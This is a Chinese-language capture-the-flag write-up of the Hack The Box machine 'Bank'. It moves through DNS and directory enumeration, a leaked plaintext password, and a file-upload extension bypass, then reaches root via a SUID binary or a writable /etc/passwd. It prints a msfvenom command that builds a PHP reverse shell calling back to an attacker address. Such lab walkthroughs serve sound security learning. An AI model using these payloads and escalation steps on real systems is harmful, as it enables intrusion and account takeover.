概述 (Overview)

- MACHINE TAGS
- SUID
- Web
攻击链 (Kiillchain)

TTPs (Tactics, Techniques & Procedures)
- nmap
- nslookup && dig
- gobuster
- linenum
阶段1:枚举
老规矩 nmap 开启局,识别出 22,53,80。

53端口一般部署的DNS Server,为了性能考虑一般也会开发UDP的53端口。

浏览器查看下HTTP的服务,看到的是apache安装后的默认页面。gobuster 扫一遍下来也没有什么发现。

阶段2:工具和利用
阶段2.1: DNS信息枚举
尝试看看能否从DNS服务中获取获取到有效信息。
nslookup 命令可以指定查询的类型,可以查到DNS记录的生存时间还可以指定使用哪个DNS服务器进行解释。
进入交互模式后,设置要连接的域名服务器为 10.10.10.29,尝试查询连接的域名服务器主机名称或IP地址。可以看到当查询 bank.htb 域名时返回了一段主机名加IP的信息。

再用dig确认下:

dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具。
当修改好hosts后访问则显示了新的Web界面:

顺便在枚举一下域名,看看会不会存在其他的二级域名。

阶段2.2:目录枚举
在使用 gobuster 加 directory-list-2.3-medium.txt 枚举后,多个路径:

在 /balance-transfer 目录下发现很多 .acc 后缀的文件,点击size排序后发现特殊的明文Password。

cat ~/Downloads/68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
通过该账号密码成功登录系统。

阶段2.3:File Upload
先生成一个反弹脚本:msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.6 LPORT=9990 -f raw -o shell.php
点击页面的文件上传后会提示错误,上传的必须是图片才行。

在网页源代码中发现一段遗留的注释,上传.htb后缀名的文件,用作PHP调试。

改完后缀直接上传即可。


成功上线,并在 /home/chris下成功找到Flag
阶段3:权限提升
上传 LinEnum.sh 至服务器,使用该脚本进一步分析。

注意到 chris 用户具备管理员组的权限,综合HTB的提示在SUID中发现了可以的命令 /var/htb/bin/emergency

直接运行该命令,得到了 root sh 会话。

非预期解法:User
在复盘IPPSEC的视频时,发现他是直接用burp请求 admin 页面,让后特换返回响应头将301的的跳转改为200(body数据已经显示但Header显示重定向,欺骗浏览器行为)。

学到了…
非预期解法:Root
也是复盘IPPSEC的视频,发现/etc/passwd所有用户都具有编辑功能。

直接生成一个自定义的的MD5-based口令,这里是ippsec。

直接编辑保存 passwd 的内容即可,这样就可以用ippsec作为口令SSH登录root身份。

学到了…
参考
- https://skyao.io/learning-dns/dns/tool/nslookup.html
- https://medium.com/@klockw3rk/back-to-basics-dns-enumeration-446017957aa3
- https://github.com/muckitymuck/OSCP-Study-Guide/blob/master/enumeration/active_information_gathering.md#dns-enumeration
- https://fareedfauzi.gitbook.io/oscp-notes/services-enumeration/dns